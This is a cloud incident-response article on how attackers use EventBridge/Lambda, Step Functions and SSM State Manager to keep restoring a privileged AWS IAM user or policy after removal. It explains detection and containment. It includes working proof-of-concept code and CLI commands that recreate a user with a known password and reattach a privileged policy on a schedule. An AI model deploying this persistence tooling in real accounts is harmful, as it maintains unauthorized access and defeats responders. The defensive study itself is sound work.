The attacker benefits from automatic restoration rather than having to recreate access manually after each removal. Deleting an Identity and Access Management (IAM) user or detaching its policy can leave the automation role, recurring trigger, and accepted or running work intact. If that automation retains the authority to make IAM changes, it can undo the responder’s removal. Containment must stop the restoration path as well as remove the identity state it created.
Automation that rebuilds IAM state
The Lambda, Step Functions, and AWS Systems Manager (SSM) implementations differ in where recurrence lives and which service role holds IAM authority.
flowchart LR
A([Attacker]) --> L[EventBridge and Lambda]
A --> S[Step Functions execution]
A --> M[State Manager association]
D([Incident responder]) --> X[Privileged IAM state removed]
X --> L
X --> S
X --> M
L --> P[Restore IAM user or policy]
S --> P
M --> P
P --> R([IAM configuration restored])
class A,D,R principal
class L,S,M,X,P awsResource
| Implementation | Recurring mechanism | IAM authority | Containment checks |
|---|---|---|---|
| Lambda | EventBridge rule | Lambda execution role | Disable recurrence; account for queued or running invocations and effective IAM write authority. |
| Step Functions | Standard Workflow with a Wait loop |
State machine execution role | Stop active executions and verify effective IAM write authority. |
| SSM State Manager | Scheduled Automation association | Automation assume role | Delete recurrence; separately contain active Automation executions and effective IAM write authority. |
Account-wide administrator access is unnecessary for a policy-attachment mutation. Whether the restored attachment grants effective access depends on other policy controls, including permissions boundaries and explicit denies. Recreating a deleted user or login profile requires additional IAM actions; an accepted IAM mutation is not proof of successful sign-in or subsequent privileged activity.[1][2]
Deleting the IAM user is temporary
A compromised deployment role can pass an existing automation role to Lambda and create an EventBridge rule, after which the attacker deploys a function that ensures a named IAM user exists, attaches a privileged managed policy, and restores a login profile with a known password.
If responders later delete the user but leave the EventBridge rule, function, and execution role in place, a later invocation can call CreateUser, AttachUserPolicy, and CreateLoginProfile to restore the IAM configuration. Confirm effective permissions and authentication or activity separately rather than treating a repair run as proof of renewed access.
The same loop can repair a narrower change: if responders retain the user but detach its policy, a Step Functions execution or State Manager association can attempt to restore the attachment.
Lambda with an EventBridge rule
An EventBridge schedule invokes a Lambda function that checks the user, login profile, and policy attachment, while the function’s execution role performs the IAM changes. Together, the schedule and role let one invocation repair several missing objects.
Run the Lambda and EventBridge proof of concept
Configure the function with USER_NAME, POLICY_ARN, and PASSWORD, using a password that satisfies the account policy.
import os
import boto3
iam = boto3.client("iam")
USER_NAME = os.environ["USER_NAME"]
POLICY_ARN = os.environ["POLICY_ARN"]
PASSWORD = os.environ["PASSWORD"]
def handler(event, context):
try:
iam.get_user(UserName=USER_NAME)
except iam.exceptions.NoSuchEntityException:
iam.create_user(UserName=USER_NAME)
iam.attach_user_policy(UserName=USER_NAME, PolicyArn=POLICY_ARN)
try:
iam.get_login_profile(UserName=USER_NAME)
except iam.exceptions.NoSuchEntityException:
iam.create_login_profile(
UserName=USER_NAME,
Password=PASSWORD,
PasswordResetRequired=False,
)
return {"user": USER_NAME, "policy": POLICY_ARN}
Attach the deployed function to a recurring rule:
RULE_ARN=$(aws events put-rule \
--name restore-iam-user \
--schedule-expression 'rate(5 minutes)' \
--query RuleArn --output text)
aws lambda add-permission \
--function-name "$FUNCTION_NAME" \
--statement-id allow-eventbridge \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn "$RULE_ARN"
aws events put-targets \
--rule restore-iam-user \
--targets "Id=repair,Arn=$FUNCTION_ARN"
The next scheduled invocation attempts to restore missing IAM state. Disabling the rule stops future scheduling only after the change takes effect; events can still match during propagation, and Lambda can retain accepted asynchronous work for retries. Verify that queued or running work cannot perform IAM writes. Role-policy changes affect existing sessions but also require propagation, and neither trigger removal nor authority containment removes IAM state already created.[3][4][5]
Step Functions wait loop
A Standard Workflow can call IAM directly through AWS SDK service integrations. After the call, a Wait state sends execution back to the IAM task, and because the active state-machine execution provides the recurrence, no function package is needed.[6][7]
Run the Step Functions proof of concept
Save the following definition as restore-policy.json. AttachUserPolicy is safe to repeat when the same policy is already attached.
{
"StartAt": "RestorePolicy",
"States": {
"RestorePolicy": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:attachUserPolicy",
"Parameters": {
"UserName": "<TARGET_USER>",
"PolicyArn": "<MANAGED_POLICY_ARN>"
},
"Catch": [
{
"ErrorEquals": ["States.ALL"],
"Next": "WaitBeforeRetry"
}
],
"Next": "WaitBeforeRetry"
},
"WaitBeforeRetry": {
"Type": "Wait",
"Seconds": 300,
"Next": "RestorePolicy"
}
}
}
Create and start the Standard Workflow with an execution role that permits the target iam:AttachUserPolicy call:
STATE_MACHINE_ARN=$(aws stepfunctions create-state-machine \
--name restore-user-policy \
--type STANDARD \
--role-arn "$STATE_MACHINE_ROLE_ARN" \
--definition file://restore-policy.json \
--query stateMachineArn --output text)
aws stepfunctions start-execution \
--state-machine-arn "$STATE_MACHINE_ARN"
The execution attempts the attachment on a five-minute wait loop. Standard executions have a one-year duration limit and a 25,000-event execution-history limit, so the history limit can end a short loop first. These quotas are upper bounds, not guaranteed lifetimes: stopping the execution or an unhandled error can end it earlier.[8][9]
State Manager scheduled automation
State Manager schedules an SSM Automation runbook through an association, which holds the schedule while the Automation assume role performs the IAM call. Association cron/rate expressions have a 30-minute minimum interval, so this scheduled route is less frequent than the five-minute examples. That minimum does not bound the spacing of all executions, including runs caused by association changes or non-scheduled execution.[10][11][12]
Run the State Manager proof of concept
Save this Automation runbook as restore-policy.yaml:
description: Restore one managed policy attachment
schemaVersion: '0.3'
assumeRole: ''
parameters:
AutomationAssumeRole:
type: String
Target:
type: String
UserName:
type: String
PolicyArn:
type: String
mainSteps:
- name: restorePolicy
action: aws:executeAwsApi
isEnd: true
inputs:
Service: iam
Api: AttachUserPolicy
UserName: ''
PolicyArn: ''
Publish the runbook, then create one scheduled association targeting the placeholder Target parameter:
aws ssm create-document \
--name RestoreUserPolicy \
--document-type Automation \
--document-format YAML \
--content file://restore-policy.yaml
aws ssm create-association \
--association-name restore-user-policy \
--name RestoreUserPolicy \
--targets Key=ParameterValues,Values=iam-state \
--automation-target-parameter-name Target \
--parameters "AutomationAssumeRole=$AUTOMATION_ROLE_ARN,UserName=$USER_NAME,PolicyArn=$POLICY_ARN" \
--schedule-expression 'rate(30 minutes)'
State Manager runs the association immediately by default, then at the configured interval. Deleting the association removes recurrence, but a successful deletion is not evidence that active Automation work has stopped. Check active execution state and effective assume-role authority separately; document existence is another inventory check, not proof of containment.[13][14][15]
Detecting IAM state restoration
State Manager needs a separate detection path because AWS documents that State Manager does not log API operations initiated by an Automation run through an association in CloudTrail. This exception is specific to that execution path, not all SSM Automation activity. Systems Manager control-plane calls such as CreateAssociation remain management events.[10:1][16] Inspect the association, Automation execution history, runbook content, assume role, and current IAM attachments rather than relying on an AttachUserPolicy event.
For the Lambda and Step Functions paths, correlate removal and restoration events by target user and policy Amazon Resource Name (ARN), then identify the execution role behind the restoring call.[2:1]
The following management events identify configuration and lifecycle requests. Check errors and current service state before claiming completion; Lambda deployment or permission events do not prove that the function was invoked.[17][18]
| Event source | Event name | Detection value |
|---|---|---|
iam.amazonaws.com |
DeleteUser, DeleteLoginProfile, DetachUserPolicy |
Identifies the responder action and target IAM state.[19] |
iam.amazonaws.com |
CreateUser, CreateLoginProfile, AttachUserPolicy |
Records IAM configuration mutations when successful, not effective privileged use. |
events.amazonaws.com |
PutRule, PutTargets |
Creates the recurring Lambda trigger.[20] |
lambda.amazonaws.com |
CreateFunction20150331, UpdateFunctionCode20150331v2, AddPermission20150331v2 |
Installs or changes the Lambda repair path.[21][17:1] |
states.amazonaws.com |
CreateStateMachine, UpdateStateMachine, StartExecution, StopExecution |
Creates, changes, starts, or stops a workflow loop.[18:1] |
ssm.amazonaws.com |
CreateDocument, UpdateDocument, CreateAssociation, UpdateAssociation, DeleteAssociation |
Creates, changes, schedules, or removes the Automation route.[16:1] |
For policy reattachment, join on the target user and policy in a successful AttachUserPolicy event. This records an attachment mutation, not successful authentication or use of the resulting permissions.[19:1][1:1]
{
"eventSource": "iam.amazonaws.com",
"eventName": "AttachUserPolicy",
"userIdentity": {
"type": "AssumedRole",
"arn": "<automation execution-role session ARN>"
},
"requestParameters": {
"userName": "<restored user>",
"policyArn": "<privileged policy ARN>"
}
}
Use ten minutes of event time after removal as an initial investigative horizon for the five-minute Lambda and Step Functions examples: it covers roughly two expected scheduling cycles. Require the restore event to have no errorCode, allow late or out-of-order delivery, and reopen correlations when delayed events arrive. Extend the horizon for asynchronous retries, delayed execution, or later credible restoration activity, and retain the relationship while the repair path remains viable. Ten minutes without a match is not evidence that persistence or exposure ended.[4:1]
Compare the execution role, target user, and policy ARN with approved identity-governance automation. Use the function or state machine to identify the restoring job; for State Manager, review the document and association instead.
Removing the repair loop
- Remove IAM write actions from Lambda, Step Functions, and SSM Automation roles unless the workload has a documented identity-management purpose.
- Restrict
iam:PassRoleby role ARN andiam:PassedToServiceso deployment identities cannot assign an IAM administration role to these services. This controls future assignments, not the authority of roles already assigned.[22] - Constrain
iam:AttachUserPolicyto approved users and policy ARNs. Require a permissions boundary on created users with theiam:PermissionsBoundarycondition key and protect it against unauthorized changes or removal.[23][1:2] - Alert when automation services receive
iam:CreateUser,iam:CreateLoginProfile,iam:CreateAccessKey, or policy-attachment permissions. - During containment, disable EventBridge recurrence, stop active Step Functions executions, and delete State Manager associations. Separately stop active Automation executions and account for accepted or running Lambda work; an association deletion alone does not establish cancellation.[3:1][4:2][14:1][15:1]
- Verify that no queued or active work can still use effective IAM write authority, allowing for policy propagation. Then remove restored users, login profiles, credentials, or attachments as appropriate and verify current IAM state. Ending recurrence does not undo prior mutations or establish that access was never used.[5:1]
References
AWS IAM User Guide, Permissions boundaries for IAM entities. ↩︎ ↩︎ ↩︎
AWS IAM User Guide, Logging IAM and AWS STS API calls with AWS CloudTrail. ↩︎ ↩︎
Amazon EventBridge API Reference, DisableRule. ↩︎ ↩︎
AWS Lambda Developer Guide, Handling errors and retries with Lambda asynchronous invocation. ↩︎ ↩︎ ↩︎
AWS IAM User Guide, Disabling permissions for temporary security credentials. ↩︎ ↩︎
AWS Step Functions Developer Guide, AWS SDK service integrations. ↩︎
AWS Step Functions Developer Guide, Wait workflow state. ↩︎
AWS Step Functions Developer Guide, Step Functions service quotas. ↩︎
AWS Step Functions Developer Guide, Handling errors in Step Functions workflows. ↩︎
AWS Systems Manager User Guide, Scheduling automations with State Manager associations. ↩︎ ↩︎
AWS Systems Manager User Guide, Cron and rate expressions for associations. ↩︎
AWS Systems Manager User Guide, About State Manager. ↩︎
AWS Systems Manager API Reference, CreateAssociation. ↩︎
AWS Systems Manager API Reference, DeleteAssociation. ↩︎ ↩︎
AWS Systems Manager API Reference, StopAutomationExecution. ↩︎ ↩︎
AWS Systems Manager User Guide, Logging Systems Manager API calls with CloudTrail. ↩︎ ↩︎
AWS Lambda Developer Guide, Logging Lambda API calls using CloudTrail. ↩︎ ↩︎
AWS Step Functions Developer Guide, Recording Step Functions API calls with CloudTrail. ↩︎ ↩︎
detection.wiki, AWS IAM CloudTrail event catalog, IAM events. ↩︎ ↩︎
detection.wiki, Amazon EventBridge CloudTrail event catalog, PutTargets event. ↩︎
detection.wiki, AWS Lambda CloudTrail event catalog, Lambda events. ↩︎
AWS IAM User Guide, Granting a user permissions to pass a role to an AWS service. ↩︎
AWS IAM User Guide, IAM and AWS STS condition context keys. ↩︎